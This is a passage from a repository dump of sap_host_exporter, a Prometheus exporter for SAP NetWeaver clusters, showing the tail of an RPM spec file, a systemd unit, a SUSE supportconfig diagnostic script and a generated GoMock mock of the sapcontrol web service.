%service_del_postun %{name}@.service 83 | 84 | %files 85 | %defattr(-,root,root) 86 | %doc *.md 87 | %doc doc/*.md 88 | %if 0%{?suse_version} >= 1500 89 | %license LICENSE 90 | %else 91 | %doc LICENSE 92 | %endif 93 | %{_bindir}/%{shortname} 94 | %{_unitdir}/%{name}@.service 95 | %{_sbindir}/rc%{name} 96 | %dir /etc/%{shortname}/ 97 | %config /etc/%{shortname}/default.yaml 98 | %dir %{_prefix}/lib/supportconfig 99 | %dir %{_prefix}/lib/supportconfig/plugins 100 | %{_prefix}/lib/supportconfig/plugins/%{shortname} 101 | 102 | %changelog 103 | -------------------------------------------------------------------------------- /sap_host_exporter@.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Prometheus exporter for Netweaver clusters metrics 3 | After=network.target 4 | Documentation=https://github.com/writhingretr/sap_host_exporter 5 | 6 | [Service] 7 | Type=simple 8 | Restart=always 9 | ExecStart=/usr/bin/sap_host_exporter --config /etc/sap_host_exporter/%i.yaml 10 | ExecReload=/bin/kill -HUP $MAINPID 11 | 12 | [Install] 13 | WantedBy=multi-user.target 14 | DefaultInstance=default 15 | -------------------------------------------------------------------------------- /supportconfig-sap_host_exporter: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -u 3 | 4 | # supportconfig plugin for sap_host_exporter 5 | # 6 | # v1.0 7 | # 8 | # February 2024 v1.0 first release 9 | 10 | SVER='1.0.0' 11 | TITLE="SUSE supportconfig plugin for sap_host_exporter" 12 | 13 | function display_package_info() { 14 | echo -e "\n#==[ Command ]======================================#" 15 | echo -e "# rpm -qi ${1}" 16 | rpm -qi "${1}" 17 | 18 | echo -e "\n#==[ Command ]======================================#" 19 | echo -e "# rpm -V ${1}" 20 | rpm -V "${1}" 21 | } 22 | 23 | function display_file_stat() { 24 | echo -e "\n#==[ File ]===========================#" 25 | echo -e "# ls -ld ${1} ; stat ${1} \n" 26 | 27 | if [ -e "${1}" ] ; then 28 | ls -ld "${1}" 29 | echo 30 | stat "${1}" 31 | else 32 | echo "${1} does not exist!" 33 | fi 34 | } 35 | 36 | function display_file() { 37 | echo -e "\n#==[ File Content ]===========================#" 38 | echo -e "# cat ${1}" 39 | 40 | if [ -e "${1}" ] ; then 41 | cat "${1}" 42 | else 43 | echo "${1} does not exist!" 44 | fi 45 | } 46 | 47 | function display_systemd_status() { 48 | echo -e "\n#==[ Command ]======================================#" 49 | echo -e "# systemctl status ${1}" 50 | 51 | systemctl status ''"${1}"'' 2>&1 52 | } 53 | 54 | function display_cmd() { 55 | ORG_CMDLINE="${@}" 56 | CMDBIN=${ORG_CMDLINE%% *} 57 | FULLCMD=$(\which $CMDBIN 2>/dev/null | awk '{print $1}') 58 | echo -e "\n#==[ Command ]======================================#" 59 | if [ -x "$FULLCMD" ]; then 60 | CMDLINE=$(echo $ORG_CMDLINE | sed -e "s!${CMDBIN}!${FULLCMD}!") 61 | echo -e "# $CMDLINE" 62 | echo "$CMDLINE" | bash 63 | else 64 | echo -e "# $ORG_CMDLINE" 65 | echo "Command not found or not executable" 66 | fi 67 | } 68 | 69 | # ---- Main ---- 70 | echo -e "Supportconfig Plugin for $TITLE, v${SVER}" 71 | 72 | display_package_info prometheus-sap_host_exporter 73 | # prometheus-sap_host_exporter@ 74 | # use 'pattern' for systemctl status cmd 75 | display_systemd_status "*sap_host_exporter*" 76 | 77 | # at least default config /usr/etc/sap_host_exporter/default.yaml 78 | for file in /usr/etc/sap_host_exporter/*.{yaml,json,toml} /etc/sap_host_exporter/*.{yaml,json,toml}; do 79 | [ -e "${file}" ] && { display_file_stat "${file}" ; display_file "${file}" ; echo ; } 80 | done 81 | 82 | # log infos in system log 83 | display_cmd "grep -E -i 'sap_host_exporter\[.*\]:' /var/log/messages" 84 | display_cmd "ss -tulpan | grep exporter" 85 | 86 | # Bye. 87 | exit 0 88 | -------------------------------------------------------------------------------- /test/mock_sapcontrol/webservice.go: -------------------------------------------------------------------------------- 1 | // Code generated by MockGen. DO NOT EDIT. 2 | // Source: github.com/writhingretr/sap_host_exporter/lib/sapcontrol (interfaces: WebService) 3 | 4 | // Package mock_sapcontrol is a generated GoMock package. 5 | package mock_sapcontrol 6 | 7 | import ( 8 | reflect "reflect" 9 | 10 | sapcontrol "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 11 | gomock "github.com/golang/mock/gomock" 12 | ) 13 | 14 | // MockWebService is a mock of WebService interface. 15 | type MockWebService struct { 16 | ctrl *gomock.Controller 17 | recorder *MockWebServiceMockRecorder 18 | } 19 | 20 | // MockWebServiceMockRecorder is the mock recorder for MockWebService. 21 | type MockWebServiceMockRecorder struct { 22 | mock *MockWebService 23 | } 24 | 25 | // NewMockWebService creates a new mock instance. 26 | func NewMockWebService(ctrl *gomock.Controller) *MockWebService { 27 | mock := &MockWebService{ctrl: ctrl} 28 | mock.recorder = &MockWebServiceMockRecorder{mock} 29 | return mock 30 | } 31 | 32 | // EXPECT returns an object that allows the caller to indicate expected use. 33 | func (m *MockWebService) EXPECT() *MockWebServiceMockRecorder { 34 | return m.recorder 35 | } 36 | 37 | // EnqGetStatistic mocks base method. 38 | func (m *MockWebService) EnqGetStatistic() (*sapcontrol.EnqGetStatisticResponse, error) { 39 | m.ctrl.T.Helper() 40 | ret := m.ctrl.Call(m, "EnqGetStatistic") 41 | ret0, _ := ret[0].(*sapcontrol.EnqGetStatisticResponse) 42 | ret1, _ := ret[1].(error) 43 | return ret0, ret1 44 | } 45 | 46 | // EnqGetStatistic indicates an expected call of EnqGetStatistic. 47 | func (mr *MockWebServiceMockRecorder) EnqGetStatistic() *gomock.Call { 48 | mr.mock.ctrl.T.Helper() 49 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "EnqGetStatistic", reflect.TypeOf((*MockWebService)(nil).EnqGetStatistic)) 50 | } 51 | 52 | // GetCurrentInstance mocks base method. 53 | func (m *MockWebService) GetCurrentInstance() (*sapcontrol.CurrentSapInstance, error) { 54 | m.ctrl.T.Helper() 55 | ret := m.ctrl.Call(m, "GetCurrentInstance") 56 | ret0, _ := ret[0].(*sapcontrol.CurrentSapInstance) 57 | ret1, _ := ret[1].(error) 58 | return ret0, ret1 59 | } 60 | 61 | // GetCurrentInstance indicates an expected call of GetCurrentInstance. 62 | func (mr *MockWebServiceMockRecorder) GetCurrentInstance() *gomock.Call { 63 | mr.mock.ctrl.T.Helper() 64 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetCurrentInstance", reflect.TypeOf((*MockWebService)(nil).GetCurrentInstance)) 65 | } 66 | 67 | // GetInstanceProperties mocks base method. 68 | func (m *MockWebService) GetInstanceProperties() (*sapcontrol.GetInstancePropertiesResponse, error) { 69 | m.ctrl.T.Helper() 70 | ret := m.ctrl.Call(m, "GetInstanceProperties") 71 | ret0, _ := ret[0].(*sapcontrol.GetInstancePropertiesResponse) 72 | ret1, _ := ret[1].(error) 73 | return ret0, ret1 74 | } 75 | 76 | // GetInstanceProperties indicates an expected call of GetInstanceProperties. 77 | func (mr *MockWebServiceMockRecorder) GetInstanceProperties() *gomock.Call { 78 | mr.mock.ctrl.T.Helper() 79 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetInstanceProperties", reflect.TypeOf((*MockWebService)(nil).GetInstanceProperties)) 80 | } 81 | 82 | // GetProcessList mocks base method. 83 | func (m *MockWebService) GetProcessList() (*sapcontrol.GetProcessListResponse, error) { 84 | m.ctrl.T.Helper() 85 | ret := m.ctrl.Call(m, "GetProcessList") 86 | ret0, _ := ret[0].(*sapcontrol.GetProcessListResponse) 87 | ret1, _ := ret[1].(error) 88 | return ret0, ret1 89 | } 90 | 91 | // GetProcessList indicates an expected call of GetProcessList. 92 | func (mr *MockWebServiceMockRecorder) GetProcessList() *gomock.Call { 93 | mr.mock.ctrl.T.Helper() 94 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetProcessList", reflect.TypeOf((*MockWebService)(nil).GetProcessList)) 95 | } 96 | 97 | // GetQueueStatistic mocks base method. 98 | func (m *MockWebService) GetQueueStatistic() (*sapcontrol.GetQueueStatisticResponse, error) { 99 | m.ctrl.T.Helper() 100 | ret := m.ctrl.Call(m, "GetQueueStatistic") 101 | ret0, _ := ret[0].(*sapcontrol.GetQueueStatisticResponse) 102 | ret1, _ := ret[1].(error) 103 | return ret0, ret1 104 | } 105 | 106 | // GetQueueStatistic indicates an expected call of GetQueueStatistic. 107 | func (mr *MockWebServiceMockRecorder) GetQueueStatistic() *gomock.Call { 108 | mr.mock.ctrl.T.Helper() 109 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetQueueStatistic", reflect.TypeOf((*MockWebService)(nil).GetQueueStatistic)) 110 | } 111 | 112 | // GetSystemInstanceList mocks base method. 113 | func (m *MockWebService) GetSystemInstanceList() (*sapcontrol.GetSystemInstanceListResponse, error) { 114 | m.ctrl.T.Helper() 115 | ret := m.ctrl.Call(m, "GetSystemInstanceList") 116 | ret0, _ := ret[0].(*sapcontrol.GetSystemInstanceListResponse) 117 | ret1, _ := ret[1].(error) 118 | return ret0, ret1 119 | } 120 | 121 | // GetSystemInstanceList indicates an expected call of GetSystemInstanceList. 122 | func (mr *MockWebServiceMockRecorder) GetSystemInstanceList() *gomock.Call { 123 | mr.mock.ctrl.T.Helper() 124 | return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetSystemInstanceList", reflect.TypeOf((*MockWebService)(nil).GetSystemInstanceList)) 125 | } 126 | --------------------------------------------------------------------------------